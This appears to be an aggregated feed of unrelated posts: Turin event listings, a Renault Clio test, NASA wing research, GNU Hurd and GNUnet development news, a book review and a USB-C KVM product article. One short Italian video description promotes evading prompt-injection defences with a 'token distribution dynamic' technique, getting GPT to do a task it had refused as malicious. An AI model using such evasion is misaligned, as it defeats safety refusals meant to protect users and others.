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[2026-09-23] ARRUOLAMENTO CLOWN ARMY @ Manituana - Laboratorio Culturale Autogestito

ARRUOLAMENTO CLOWN ARMY

Manituana - Laboratorio Culturale Autogestito - Largo Maurizio Vitale 113, Torino
(mercoledì, 23 settembre 20:30)
ARRUOLAMENTO CLOWN ARMY

sdeng sdeng sdeng!!! 🔔🔔🔔 Arruolamento Clown Army!!! 🔫🤡🎖

ULTIMO ALLENAMENTO PRIMA DELLA PAUSA ESTIVA - accorrette pazzu ribellu in erba!

Vieni con noi, padroneggia la grande arte del clowneggiamento ribelle e della cospirazione approssimativa :O)

Cos'è Clown ARMY?? È una tecnica di piazza spontanea e autogestita nata con l'intento di inviare messaggi irriverenti e gestire i nostri colleghi delle forze dell'ordine.

Leggi sto articolo e vai a studiare va'! https://www.instagram.com/p/DQrx3caj58O/?igsh=MWhmazMzZXE2ZWs1Nw==

Lanciamo una grande campagna di arruolamento aperto a tutt*, che più siamo meglio è!

Ci vediamo ogni secondo e quarto mercoledì del mese nella palestra del mani, a cui lasciamo un contributo volontario per le spese.

Ogni incontro alterniamo allenamento di tecniche improbabili e ridicole da usare in piazza e discussioni deliranti in cui ci rilanciamo le idee pazze a vicenda.

LA CLOWN ARMY CERCA ✨TE ✨

MA ESSENDO FORZA DEL (DIS)ORDINE NON RIESCE A TROVARTI

RENDILE IL LAVORO FACILE E UNISCITI A LEI DIRETTAMENTE grazie

Quando:

Mercoledì 24 giugno

dalle 20.30 alle 22.30

Dove:

Al CLIM (Manituana), in Largo Maurizio Vitale 113 To)

Porta:

Abbigliamento comodo

Naso da clown e access. militari (se li hai)

Per info: clownarmyto@canaglie.net

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Renault Clio E-Tech, i consumi reali del Centro Prove Quattroruote

Con la sesta generazione, la Renault Clio ha cambiato completamente faccia: linee più scolpite e soluzioni stilistiche che non ti aspetti su una segmento B, con la calandra sporgente e le quattro luci poligonali al posteriore, abbinate a un lunotto molto inclinato, quasi da coupé. La piattaforma è la stessa del modello precedente, ma le misure crescono leggermente: la compatta francese è lunga 412 cm (7 in più) e larga 177 (-3), con un passo di 259 cm (+1). Lo spazio per i passeggeri posteriori resta pressoché invariato, mentre rimane piccolo il bagagliaio: il Centro prove ha rilevato 203 litri utili. Notevole invece il salto di qualità in abitacolo, a cominciare dai due schermi da 10,1" per strumentazione digitale e infotainment (con connettività wireless per gli smartphone e la suite software di Google). Renault Clio E-Tech: il motore Rispetto al modello precedente, il nuovo powertrain full hybrid della Clio guadagna potenza, passando da 145 a 158 CV complessivi. Merito soprattutto dell'unità termica, un 1.8 quattro cilindri aspirato più potente del vecchio 1.6 (109 CV contro 94), che funziona con il ciclo Atkinson e prevede l'iniezione diretta. Il motore elettrico principale ha 50 CV e 205 Nm, muove le ruote di trazione e ricarica la batteria da 1,4 kWh; la seconda unità lavora all'interno del cambio robotizzato, privo di frizione e sincronizzatori, con quattro rapporti dedicati al motore termico e due a quello elettrico. Renault Clio E-Tech: i consumi reali *Prezzo della benzina al 16/07/2026: 1,910 /litroNella Prova su strada, pubblicata su Quattroruote di marzo 2026, la Clio conferma la bontà del powertrain francese (sviluppato dalla Horse, joint-venture tra la Casa francese, Geely e Aramco), che riesce a prodursi in consumi decisamente contenuti, offrendo al tempo stesso una dose di potenza che fa viaggiare tranquilli, specialmente in ripresa. La percorrenza cittadina è leggermente peggiorata rispetto all'E-Tech della precedente Clio (che spuntava 30,7 km/l in città), ma rimane comunque elevatissima. Nonostante il serbatoio di appena 39 litri, in ambito urbano l'autonomia supera di slancio i 1.100 km. E in autostrada riesce a fare di meglio del modello che sostituisce, passando da 13,6 a 15,5 km/l. Renault Clio: gamma e allestimenti La gamma della nuova Renault Clio E-Tech apre con l'allestimento evolution, che prevede cerchi d'acciaio da 16, connettività wireless per Apple CarPlay e Android Auto, climatizzatore manuale e sensori di parcheggio posteriori. La versione intermedia techno aggiunge i cerchi di lega da 16, il quadro strumenti da 10 e l'infotainment con servizi Google integrati, il climatizzatore automatico, gli specchietti ripiegabili elettricamente, la telecamera posteriore e il sensore per la pioggia. La top di gamma esprit Alpine si distingue per i tanti dettagli sportivi, dentro e fuori l'abitacolo (come i sedili avvolgenti e la pedaliera in alluminio), ma anche per la più ricca dotazione di Adas, che prevedono guida assistita di livello 2 e monitoraggio dell'angolo cieco. Renault Clio E-Tech: i prezzi Renault Clio E-Tech evolution: 24.900 euroRenault Clio E-Tech evolution: 26.700 euroRenault Clio E-Tech evolution: 28.300 euro Consumi reali, tutte le nostre prove autoAudi Q3 Sportback TDIDacia Duster Hybrid 155Fiat 500 HybridHonda Prelude 2.0 HEVHyundai Tucson 1.6 HEVRenault Clio E-TechToyota Aygo X 115 Hybrid
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[2026-09-19] NOISE FOR PEACE - MUSICA SENZA MURI @ Centro Dai

NOISE FOR PEACE - MUSICA SENZA MURI

Centro Dai - Via Brignole 34 Santena TO
(sabato, 19 settembre 16:00)
  NOISE FOR PEACE - MUSICA SENZA MURI

NOISE FOR PEACE FEST 2026

🎶 Musica Senza Muri

La pace non è silenzio. È partecipazione. È cultura. È musica.

C'è un modo diverso di vivere un festival.

Un luogo dove la musica incontra le persone, dove le idee diventano dialogo e dove ogni palco, ogni stand e ogni incontro raccontano la possibilità di costruire una comunità più unita.

Noise for Peace Fest è una giornata dedicata alla musica dal vivo, alla condivisione e all'impegno civile. Un evento apartitico, aperto a chiunque creda che la cultura possa abbattere i muri, creare relazioni e dare spazio alla solidarietà rinnegando guerra, violenza e razzismo.

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Sabato 19 settembre 2026

Centro Dai Via

Via Brignole 34 – Santena (TO)

 Apertura cancelli: ore 16.00

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Durante tutta la giornata

Stand, incontri e momenti di confronto con associazioni e realtà impegnate nella solidarietà, nella cooperazione internazionale, nella memoria, nell'informazione indipendente e nel sostegno alle comunità.

Saranno presenti:

• Emergency

• Medici Senza Frontiere

• Cambiano for Gaza

• Radici della Memoria

• Reciproca Mensa

• Il Cubo Chieri 

• CIL – Collettivo Cambiare Rotta

• Radio Bandito

• Radio Alice

• Radio Base 2.0

📻Per tutta la giornata Radio Bandito, insieme a Radio Base 2.0 e Radio Alice trasmetterà in diretta con talk, interviste, approfondimenti e ospiti.

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🎤 LIVE MUSIC

Ore 18.00

🎙 Vogue MC

🎙 DOSR

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Ore 20.00

🎧 DJ Set con WURZ

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Ore 21.00                      

🎶 Ellie Cottino & Sista Sofy

🎶Rankore

🎶Juda's Kiss

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Dalle ore 24.00

After Party al Centro Giovani con HEIDI REBEL

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🍔 Food & Drink con Biga Burgher di Villanova D'Asti

Area food, drink e birra disponibili per tutta la giornata.

Evento in collaborazione con Radio Base 2.0 Radio Bandito Radio Alice Chieri e Associazione Dai

#NoiseForPeaceFest #MusicaSenzaMuri #Santena #LiveMusic #Peace #Solidarietà #Comunità #Festival #NoWar #StopViolence #NoRacism

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Ha senso odiare la tecnologia?

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Il progetto Esadecimale nasce per offrire il migliore spazio di didattica informatica presente in tutto il territorio Italiano. Se vuoi supportare la mia missione puoi approfondire il mio progetti tramite i seguenti link:
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NASA Pushes New Wing Design to Find Structural Limits

3 Min Read

NASA Pushes New Wing Design to Find Structural Limits

A wide view of a test structure in a laboratory shows a full test assembly secured inside a steel rig. Hydraulic lines, sensors, and support equipment surround the structure, with additional lab equipment visible in the background.
The 15-foot Structural Wing Experiment Evaluating Truss-bracing test article is fully installed in the Flight Loads Laboratory at NASA’s Armstrong Flight Research Center in Edwards, California, on Wednesday, May 20, 2026. The model is part of NASA’s research to develop technologies for future ultra-efficient aircraft.
Credits: NASA/Carla Escamilla

NASA researchers recently put a new wing design, appearing long and thin with a lightweight structural design, through a series of grueling tests to find its structural limits. What they found left them encouraged about the wing’s potential, even when they pushed it past its intended limits.

The 15-foot Structural Wing Experiment Evaluating Truss-bracing (SWEET-15) test article is part of NASA’s research to develop future ultra-efficient aircraft. The design incorporates a long wing supported by an aerodynamic strut, based on NASA’s earlier Transonic Truss‑Braced Wing concept.

The research team is working to understand whether SWEET-15’s design and its new lightweight structural designs could help commercial airliners save fuel. But first, they need to understand how it behaves under the kinds of force wings experience in flight.

A group of people work together in a large workshop, handling and inspecting a long metallic structure laid across padded tables. Tools, materials, and protective equipment are spread across the workspace.
Lab technicians Phil Tofts, Chris McLain, and Jeff Howell and NASA engineers Erin Anderson and Richard Larson prepare the 15-foot Structural Wing Experiment Evaluating Truss-bracing model in the Flight Loads Laboratory at NASA’s Armstrong Flight Research Center in Edwards, California, on Thursday, Dec. 11, 2025. The model is part of NASA’s research to develop technologies for future ultra-efficient aircraft. 
NASA/Christopher LC Clark

The SWEET-15 design originated with combining five different advanced composite manufacturing and assembly technologies that enabled the novel structural design. The 15-foot-long test article was then designed and fabricated at NASA’s Langley Research Center in Hampton, Virginia, before traveling to NASA’s Armstrong Flight Research Center in Edwards, California, for testing.

Over several months, NASA engineers intentionally bent the test wing in the Flight Loads Laboratory at NASA Armstrong. Numerous strain and load sensors, including fiber-optic strain sensors, were placed throughout the structure to track how the wing responded as forces increased.

The data from the sensors confirmed the predictions made by NASA’s computer models. According to initial findings, the wing withstood the anticipated in-flight forces without issue. The results provided the team with confidence in the new manufacturing approaches and methods for connecting wing parts used in SWEET-15, which could support future efficient aircraft designs. The manufacturing approach, developed at NASA Langley used the Integrated Structural Assembly of Advanced Composites robot, aims to produce lighter and stronger composite structures for aerospace vehicles.

A long beam is suspended in a laboratory while personnel observe and guide its placement. Overhead support equipment, cables, and lab infrastructure surround the test area.
Lab technicians Jeff Howell, left and Chris Mount install the 15-foot Structural Wing Experiment Evaluating Truss-bracing model in the Flight Loads Lab at NASA’s Armstrong Flight Research Center in Edwards, California, Wednesday, February 11, 2026. The model is part of NASA’s research to develop technologies for future ultra-efficient aircraft.
NASA/Christopher LC Clark

The test concluded with a deliberate test-to-failure, where engineers increased loads beyond the wing’s design limits to determine how and where it would fail. The structure ultimately failed at roughly 127% of its design limit load, with visible damage appearing near the back edge of the wing and in the upper wing cover. This element of testing provided valuable insight into how the joints connecting the wing to its main strut and a secondary one, called a jury strut, behave under forces beyond the expected flight envelope.

This marks the first time a representative composite truss-braced wing configuration has undergone this type of structural evaluation.  It was made possible only through NASA collaboration across centers and projects, with researchers utilizing agency resources such as the Fiber Optic Sensing System developed to gather data on both aircraft and spacecraft.

A man wearing ear protection works closely with multiple hydraulic and instrumentation units connected to a large beam mounted on a test structure. Numerous cables, hoses, and measurement devices extend from the setup.
NASA research engineer Walter Hargis regulates the 15-foot Structural Wing Experiment Evaluating Truss-bracing model in the Flight Loads Laboratory at NASA’s Armstrong Flight Research Center in Edwards, California, on Tuesday, March 31, 2026. The model is part of NASA’s research to develop technologies for future ultra-efficient aircraft. 
NASA/Ryan Kline

To prepare for the testing, engineers at NASA Langley designed, analyzed, and manufactured the wing and completed safety preparations and lab setup.

Researchers will now analyze the data collected during testing to inform future airframe designs and support NASA’s ongoing efforts to develop more efficient aviation technologies.

The work is being conducted through NASA’s Subsonic Flight Demonstrator project in the agency’s Research Technology Mission Directorate. The successful testing of multiple innovative components marks a milestone in NASA’s aeronautics research.

To learn more, visit:

https://www.nasa.gov/aeronautics/

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GNU Hurd development blog: 2026-q2

Hello and welcome to another Qoth! Here's what's been happening in Q2 of 2026!

Joshua Branson added a pretty cool svg logo for our ethernet multiplexor. He built that image with Inkscape whilst using a Hurd laptop (Thinkpad 420) running on real iron! The Hurd wiki could certainly use more artwork. Perhaps you have a favorite Hurd translator that you believes needs some artwork!

Sergey Bugaev announced his WIP 9pfs (source code), and it has a wiki page! He writes:

Some years ago, I experimented with implementing a 9P translator for
the Hurd. Hopefully there is no need to tell this list what 9P is :)

Besides just browsing files on the few existing servers out there, a
potential use case is virtio-9p, to enable shared directory trees
between VMs and the host. But that would need someone to implement
virtio support in the Hurd.

I wanted to complete 9pfs before publishing, but that ultimately
didn't happen, so now it's time to turn it over to the community. I
now went and made the repository public on GitHub:
https://github.com/bugaevc/9pfs

What's implemented is basic browsing (readdir, stat), path resolution
(dir_lookup), and reading files (io_read). And below that, the whole
tracking for nodes, peropens, protids, fids, tags, and 9p RPCs.

Improvements are welcome, send patches to this list with [PATCH 9pfs]
in the subject. A good starting point would be to continue porting
things that I had implemented in the old netfs-based version (see
netfs.c) but didn't yet port to the new one.

He then got a little more motivated, and he added some write support!

Etienne Brateau added validation to msync, so that the Hurd better follows POSIX.

Diego Nieto Cid worked on allowing privileged users to set their task priority (nice value). His patches landed in glibc and GNU Mach. He also fixed a tiny bug in our test suite. He fixed an adjtime bug, which is helpful to the OpenNTPD port, and he fixed two more bugs.

Paulo Duarte sent a RFC patch series trying to commit Sergey’s previous AArch64 work. He writes:

This series adds the gnumach kernel-side implementation for the
aarch64 ABI Sergey landed in April 2024, plus the test-suite arms.
Patch 01 brings in the aarch64-only sources from bugaevc/wip-aarch64
verbatim, with Sergey as Author; the rest is mine.

The meaningful divergence from wip-aarch64 is what I left out:
roughly 150 files of cross-arch refactoring across kern/, ipc/, vm/,
device/intr.{c,h}, and the i386 tree. Each got replaced with a
smaller per-arch shim under aarch64/ so kern/bootstrap.c,
device/intr.{c,h}, kern/lock.h, and the i386 trees all stay
bit-identical to current master. The shared-file footprint outside
aarch64/ is four files: a new ELF constant, two missing decls plus
their include, and a linker-symbol filter extension...

Tested: 12/12 pass on x86_64, i686, and aarch64 under qemu. No
bare-metal validation yet. I plan to build bootable images and boot
the kernel on Apple M1 / Raspberry Pi (aarch64) and an x86_64 box
(x86_64 + i686). Help on any of these welcome.

He also fixed a tiny cross compilation issue.

gfleury fixed some tmpfs typos. He also fixed a kernel crash on a null pointer deference.

Almudena Garcia is developing a WIP trivfs implementation in rust. The work is not complete yet, but it is possible to write Hurd translators in Rust!

Mikhail Karpov added some checks for mmap in several places. He also worked on adding storeio to the bootstrap chain. This is actually quite interesting. Currently the Hurd sets device entries in /dev/ statically. For example, I am writing this qoth on a Hurd machine that is using two /dev/ entries for my filesystem: /dev/wd0s1 for swap and /dev/wd0s5 for my root filesystem. However, /dev/wd0s1 through /dev/wd0s16 exist on my computer! Once Mikhail's project is done, then the Hurd will dynamically populate SATA devices at boot time! No more need for static translators! He writes:

I've expanded the functionality of the partfs translator to work
with multiple disks and their partitions. Thus, by running the
command:
settrans -c partfs /hurd/partfs /root/disk1.img /root/disk2.img /root/disk3.img


The translator directory will have the following directory tree:
partfs
├── 0
│ ├── 1
│ ├── 2
│ └── ...
├── 1
│ ├── 1
│ ├── 2
│ └── ...
├── 2
│ ├── 1
│ ├── 2
│ └── ...
Since the disks are directories, the cd and ls commands work in the translator node.

I also tested mounting, reading, and writing using the commands:
`settrans -c ext01 /hurd/ext2fs -w -T typed file:/root/partfs/0/1`
and
`settrans -c ext1_1 /hurd/ext2fs -w -T typed part:1:file:/root/partfs/1`

It actually is even cooler! Samuel (our fearless leader) is seeking feedback for how to name these newer /dev entries. Samuel writes:

One thing that would be really needed for efficiency is to implement
netfs_file_get_storage_info, so that libstore would be able to get the
underlying storage information, and directly get data from there rather
than partfs having to pass data with io_read/write.

I'm then wondering how this would fit in the "grand scheme". Our current
approach, /dev/hd0s* being always there, is indeed not really good
because it doesn't easily tell the user which partitions are actually
there. We used to have to have this because partitions used to be
handled by the kernel, and then we have moved to
storerio+parted-supported partitions, which brings much more
flexibility.

Perhaps we could use

settrans -c /dev/hd0s /hurd/partfs /dev/hd0

and then we'd have /dev/hd0s/1, which is almost like before, but allows
the entries to be dynamic. Actually, we could even have some

settrans -c /dev/hd /hurd/probedisk hd

and then we'd have /dev/hd/0, and we could have /dev/hd/0s being partfs,
so we'd eventually have

/dev/hd/0s/1

But I'm also thinking that perhaps it could be integrated more with
storeio, i.e. /dev/hd0 can as well also act as a directory with partfs
behavior, so you could have

/dev/hd0/1

and with the probedisk translator, you could have

/dev/hd/0/1

What do people think about it?

Mike Kelly has been hard at work porting OpenBSD’s OpenNTPD, which required some glibc work. The Hurd doesn't currently have a NTP daemon, so thanks Mike!

He also debugged a weird memory error with rump, and he provided a "brown-tape" solution for it. Hopefully, he (or you dear reader), can reach out to the NetBSD people to fix this bug. This just goes to show that when two projects use the same code, both projects benefit!

He also got a glibc patch committed. Essentially SIGSTOP/SIGCONT was duplicating portions of files, which is now fixed. However, there are still some other issues with building some haskell packages.

Joan Lledó continued his work on porting dhcpcd. Also Roy Maples, the dhcpcd maintainer did a lot of helpful work to help us out. Thanks Roy!

Bradley Morgan fixed a tiny implementation bug with cat. He also tweaked procfs to show hidden files, and he allowed passing “-s” to init. Previously, passing "-s" to init was silently ignored.

Johannes Schauer Marin Rodrigues has been working on getting s-build to run on amd64 Hurd. It is a rather long email thread, so grab some popcorn and dig in!

Milos Nikic ported Neovim. He also worked on bug fixes to libdiskfs, and he fixed a deadlock bug in the “ext3/ext4” filesystem journal.

In the last qoth we had talked about how the Milos was working on adding an ext3/ext4 binary compatible journal. Samuel has committed it! Samuel wrote:

There is a couple things that I fixed on the fly:

- We want to use pthread_cond_clockwait rather than
  pthread_cond_timedwait, to be able to use CLOCK_MONOTONIC instead of
  CLOCK_REALTIME, to avoid being hit by ntpdate and such.

- In diskfs_S_dir_rename, there was an addition of:

  pthread_mutex_unlock (&fnp->lock);

  which was clearly bogus: we were unlocking it again below.

There are a couple things that we'd want to fix now:

- when calling diskfs_file_update, don't we have to be inside a
  transaction? Otherwise if we pass wait=1 and use a journal, we won't
  be waiting AIUI? Notably, in diskfs_S_dir_rmdir we don't use a
  transaction. And ideally we'd have an assertion that makes sure we
  respect this.

- we should define some helper for this recurring pattern:

  if ((docommit) && (diskfs_synchronous || diskfs_journal_needs_sync (txn)))
    diskfs_journal_commit_transaction (txn);
  else
    diskfs_journal_stop_transaction (txn);

- journal_drain_deferred_blocks should document what it does, not just
  its call conditions :), and more generally the functions that are
  not already documented in a .h and not just a _locked variant of a
  documented function.

Leonardo Lopes Pereira did some spring cleaning to remove some dead code.

Samuel Thibault mentioned in an email that the Hurd can support nvmes with rump, but that the work was just not done yet. Perhaps you, dear reader, would like to help us accomplish this task?

The mysterious user yelini worked on porting the D language compiler.

Damien Zammit worked on tweaking the Hurd’s WIP CI. He also fixed several bugs to make it possible to run the Hurd’s test suite from GNU/Linux running on an AArch64 computer. He also is working on integrating qemu’s Hurd support into upstream qemu’s CI, so that the support does not bitrot.

Sophiel Zhou fixed a tiny pfinet permission checking issue and taught pfinet to not fail under memory pressure:

This series fixes two latent crash bugs in pfinet where mmap
return values go unchecked, may causing crash when memory is tight.

Both bugs follow the same pattern: mmap is called to grow a buffer,
but the returned pointer is dereferenced before (or without) checking
for MAP_FAILED.  Under normal operation mmap rarely fails, so these
have gone unnoticed, but under address-space pressure pfinet would
crash.
  •  

GNUnet News: GNUnet 0.28.0

GNUnet 0.28.0 released

We are pleased to announce the release of GNUnet 0.28.0.
GNUnet is an alternative network stack for building secure, decentralized and privacy-preserving distributed applications. Our goal is to replace the old insecure Internet protocol stack. Starting from an application for secure publication of files, it has grown to include all kinds of basic protocol components and applications towards the creation of a GNU internet.

This is a new major release. Major versions may break protocol compatibility with the 0.27.X versions. Please be aware that Git master is thus henceforth (and has been for a while) INCOMPATIBLE with the 0.27.X GNUnet network, and interactions between old and new peers will result in issues. In terms of usability, users should be aware that there are still a number of known open issues in particular with respect to ease of use, but also some critical privacy issues especially for mobile users. Also, the nascent network is tiny and thus unlikely to provide good anonymity or extensive amounts of interesting information. As a result, the 0.28.0 release is still only suitable for early adopters with some reasonable pain tolerance .

Download links

  • gnunet-0.28.0.tar.gz ( signature )
  • The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A

    Note that due to mirror synchronization, not all links might be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/

    Changes

    A detailed list of changes can be found in the git log, the NEWS.

    Known Issues

    • There are known major issues with the TRANSPORT subsystem.
    • There are known moderate implementation limitations in CADET that negatively impact performance.
    • There are known moderate design issues in FS that also impact usability and performance.
    • There are minor implementation limitations in SET that create unnecessary attack surface for availability.
    • The RPS subsystem remains experimental.

    In addition to this list, you may also want to consult our bug tracker at bugs.gnunet.org which lists about 190 more specific issues.

    Thanks

    This release was the work of many people. The following people contributed code and were thus easily identified: Christian Grothoff, Florian Dold, TheJackiMonster, and Martin Schanzenbach.

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COMUNICATO STAMPA - I Garanti privacy europei all'UE: rafforzare la cooperazione tra le autorità di regolazione. A Dublino il Gruppo di Alto Livello del Comitato europeo per la protezione dei dati

I Garanti privacy europei all'UE: rafforzare la cooperazione tra le autorità di regolazione A Dublino il Gruppo di Alto Livello del Comitato europeo per la protezione dei dati Una base giuridica europea che favorisca lo scambio di informazioni tra Au...
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Sono ciclica, su Ciclica di Donatella Fiacchino

Le mie mutande sono macchiate di sangue e so che dentro ci sono brandelli di materia organica, oggi il veterinario ha asportato l’utero al mio gatto, una semplice sterilizzazione. Vorrei fosse stata usanza culturale negli anni Novanta farlo anche con gli esseri umani come per i buchi alle orecchie. So che questa cosa non si può dire e provo un senso di rabbia all’idea di non conoscere  parole utili per spiegarmi: Ciclica – Mestruazioni, corpo e società di Donatella Fiacchino, pubblicato questa primavera dalla casa editrice Le Plurali, mi accoglie con il fiato sospeso, in un mischione di rabbia personale e politica. 

Mia madre mi ha detto per una vita che avevo carenze di magnesio, mi faceva bere questi bibitoni bianchi salati. Da adolescente almeno una giornata al mese la passavo immobile a letto con una bottiglia di vetro riempita con l’acqua bollita nel pentolone della pasta anche in piena estate. Un paio di volte mi sono ustionata e ho tratto sollievo dal nuovo dolore, mi distraeva  dai crampi. In quarta superiore ero già una tossica di antidolorifici. Ma, essendo l’organizzazione umana altamente fallibile e le mie mestruazioni abbastanza imprevedibili, mi sono ritrovata più volte accasciata dietro il bancone del posto in cui lavoravo, sul bordo di un marciapiede o, una volta, dentro un bagno chimico in piena estate, mentre sudavo freddo e supplicavo al telefono qualcuno di portarmi l’antidolorifico più forte che avesse. Come funziona il mio corpo me lo ricordo sempre quando non posso fare altro che odiarlo. Per questo leggere questo saggio è stato difficile.

È faticoso metter da parte la frustrazione, uscire dal silenzio e condividere l’esperienza di mestruare, ma non sono sola. Anche Fiacchino parte da sé, seguendo un approccio frequente in questo genere di saggistica: quando un’esperienza pervasiva come questa viene marginalizzata dalla struttura sociale e confinata entro la sfera individuale, si genera una forte necessità di incontro espressa a pieno titolo nella forma della testimonianza. Il bisogno di nominare e comprendere ciò che la società ci ha insegnato a tacere rimane tumultuoso, ma spesso indistinto, finché non trova un dialogo capace di dargli senso. È precisamente ciò che avviene in Ciclica: il saggio si avvicina all’esperienza individuale con delicatezza, la cinge senza determinarla e le dà del tu. Getta così, in modo esplicito e consapevole, le basi di un discorso comune abbastanza ampio da poter essere attraversato da esperienze differenti senza cancellarne la singolarità.

Il presupposto con cui ho approcciato il tema delle mestruazioni è che non tutte le persone socializzate donne hanno o hanno avuto le mestruazioni nella loro vita e che, viceversa, non tutte le persone che hanno o hanno avuto le mestruazioni sono donne. Per quanto possibile nel testo ho cercato di mantenere un linguaggio neutro, utilizzando i termini persone con le mestruazioni o persone che mestruano.

Non è quindi casuale che Fiacchino decida di scrivere Ciclica mentre affronta il percorso che la porterà alla diagnosi di endometriosi e alla prescrizione di una terapia ormonale. Non è casuale nemmeno che il saggio si apra con una premessa dedicata al linguaggio. Per sottrarsi alla narrazione patriarcale, segregante e infantilizzante delle mestruazioni, il discorso deve innanzitutto parlare a chi ne fa esperienza quotidiana e cercare con queste persone un contatto sincero e radicale, è da qui che trae la sua forza.

Tutto, nella società, ci dissuade dal parlare del ciclo. Prima del menarca è raro entrare in contatto, anche soltanto visivo, con il sangue mestruale; e quando accade, ancora più raramente la situazione sarà vissuta senza drammi o mani che cercano borsette e che corrono subito nei corridoi verso i bagni. Fin dall’infanzia sai che, se un giorno inizierai a mestruare, sarà una faccenda da gestire da solə, o al massimo con zia Monica preoccupata che bussa alla porta del bagno e ti chiede se stai bene. Sto bene o non sto bene se mi succede tutti i mesi? Se è solo una questione privata, come capisco cos’è la normalità?

Il saggio sceglie una serie di questioni sostanziali e si prende il tempo necessario per fare chiarezza su  cosa sia il ciclo, su come funzionino le diverse fasi e su come le mestruazioni siano state storicamente stigmatizzate in Europa, dall’antichità fino all’avvento del marketing, oltre che all’interno delle dottrine religiose. Da questa ricostruzione emerge, con una semplicità sfacciata, che se dolori insopportabili vengono taciuti, minimizzati e scambiati per una parte inevitabile dell’esperienza di abitare un corpo che mestrua, non è perché siano davvero normali, ma si tratta del risultato di un’equazione che possiamo invertire soltanto attraverso una consapevolezza comune.

Ciclica è una lettura in grado di toccare i punti giusti, attraverso un percorso argomentativo particolarmente curato, il nostro funzionamento biologico, la nostra ciclicità si prende i suoi termini per essere raccontata e con questi i suoi spazi e la sua completa e possente legittimità di stare al centro della scena. Fiacchino non sceglie di farlo trasformando le mestruazioni in un trionfo o imponendo una forma di devozione verso il corpo, Ciclica ci invita piuttosto a trasformare la rabbia in una coscienza capace di fornire gli strumenti per distinguere il funzionamento individuale dalla patologia. Il carattere distruttivo e rivoluzionario della rabbia può allora rivolgersi contro le fondamenta che permettono di oscurare in un grande mistero omogeneo l’esperienza quotidiana e sfaccettata di due miliardi di persone. 

L’immaginario comune sulla menopausa comprende tutte caratteristiche associate di solito all’immagine di una persona anziana, perché lo stereotipo ci dice che la menopausa vuol dire questo, vecchiaia. Tuttavia, al giorno d’oggi non definiremmo una persona di cinquant’anni “vecchia”

L’intenzione di Ciclica è soprattutto quella di dedicare spazio alle esperienze che non rientrano nell’immagine convenzionale della donna cisgender tra i quattordici e i quarantacinque anni. Fiacchino parla di persone molto giovani, persone trans, disabili e neurodivergenti, e dedica attenzione anche alla premenopausa e alla postmenopausa, ampliando il discorso oltre i confini in cui  la ciclicità e l’esperienza mestruale vengono abitualmente racchiuse. 

Chiedersi «chi mestrua, oltre alle donne?» permette non solo di riconoscere altre esperienze e ampliare la nostra consapevolezza, ma anche  liberare il ciclo mestruale dallo stretto legame con l’educazione femminile in una società patriarcale. Rinchiudere questa esperienza dentro un genere è un’arma che colpisce due volte, dal un lato esclude chi mestrua senza essere donna, e dall’altro confina chi lo è entro una cornice di ruolo sociale essenzialista, costruita intorno a un funzionamento biologico. In entrambi i casi, riduce la possibilità di vivere la ciclicità in forme creative e originali.

Nonostante le mestruazioni siano, in molte culture, un simbolo di salute e fertilità e il loro arrivo sia un rito di passaggio da celebrare (chi non ha ricevuto gli auguri il giorno che è “diventata signorina”?), il ciclo mestruale è anche una delle cose più censurate, edulcorate e ignorate nella pletora dei meccanismi fisiologici e degli eventi fisici che attraversa il corpo umano nel corso della vita. È il paradosso delle mestruazioni: si festeggia quando arrivano e si passano i decenni successivi a fingere che non esistano. Eppure, non sembriamo, in quanto società occidentale, così tanto inibiti quando si tratta di altri fenomeni e meccanismi che interessano il corpo umano. Quanti film avete visto in cui ci sono persone che mangiano? Che vomitano? Persone che sudano e che eiaculano? Qualsiasi cosa abbia a che fare con la materia che costituisce il nostro corpo può essere oggetto di discussione in pubblica piazza. Eppure, è ancora raro che si parli di mestruazioni e che le si includano nella rappresentazione del quotidiano, esclusi i liquidi blu nelle pubblicità per assorbenti igienici in televisione. Non sta mai bene chiamarle con il vero nome, ma è opportuno ricorrere a codici cifrati (“il marchese”, “quei giorni”, “le mie cose”… ). La rappresentazione e la discussione del ciclo mestruale sembra essere considerata tuttora imbarazzante, disgustosa, non necessaria.

La povertà di narrazioni e di esperienze condivise riguardo alle mestruazioni non emargina soltanto l’esperienza quotidiana, ma come abbiamo visto anche le sue manifestazioni patologiche. Fiacchino rimarca l’arretratezza scientifica, diagnostica e legislativa, affrontando questioni come il congedo mestruale e le tasse imposte sui prodotti per l’igiene mestruale, all’interno di una cornice argomentativa diretta, ampia e sempre disponibile a essere messa in discussione.

Il saggio accenna in maniera sintetica, seppur convinta, alla necessità di organizzare percorsi di educazione sessuale, indicandoli come una delle azioni pratiche più utili. In Ciclica vengono aperti molti temi con lucidità, ma non sempre trovano lo spazio necessario per essere approfonditi sul piano specialistico. La postura dialettica del libro rende evidente che questo discorso non può considerarsi concluso, tenendo bene a mente la stratificazione e l’eterogeneità di esperienze che comprende, rappresenta un’occasione per riconoscersi in un funzionamento biologico quasi sempre invisibilizzato.

The post Sono ciclica, su Ciclica di Donatella Fiacchino first appeared on Stanca.

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Prompt Injection e Token Distribution Dynamic

💾

Spiego come i sistemi di difesa riescono a intercettare i tentativi di prompt injection e come possiamo eluderli con la tecnica token distribution dynamic. Mostro un esperimento pratico in cui chiedo a GPT di risolvere un compito che riconosce come malintenzionato e rifiuta.

0:00 Rilevamento prompt injection

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NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM

NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM

Sipeed has introduced NanoKVM-Go, a compact USB-C KVM-over-IP device that combines remote hardware management with AI integration. Designed for Linux, Windows, macOS, and other USB-C devices, NanoKVM-Go allows users to remotely view and control a system through a web browser while exposing its keyboard, mouse, and display functions to AI agents via the Model Context Protocol (MCP).

Unlike traditional KVM-over-IP solutions that require multiple cables and dedicated networking hardware, NanoKVM-Go simplifies the setup into a single USB-C connection, making remote administration and AI-assisted automation more accessible for developers, system administrators, and homelab enthusiasts.

A Portable USB-C KVM

NanoKVM-Go is roughly the size of a smartwatch, measuring about 45 × 40 × 15 mm, yet it combines several functions into a single device.

Key hardware features include:

  • USB-C connection for video, audio, keyboard, mouse, and power
  • Wi-Fi 6 connectivity
  • Browser-based remote management
  • Support for virtual USB storage
  • Built-in Tailscale integration for secure remote access
  • Fanless aluminum enclosure with low power consumption

Because it connects over USB-C using DisplayPort Alt Mode, the device can manage a wide variety of hardware without requiring software installation on the target system.

Designed for Linux and Beyond

NanoKVM-Go supports numerous USB-C devices, including:

  • Linux desktops and laptops
  • Windows PCs
  • macOS systems
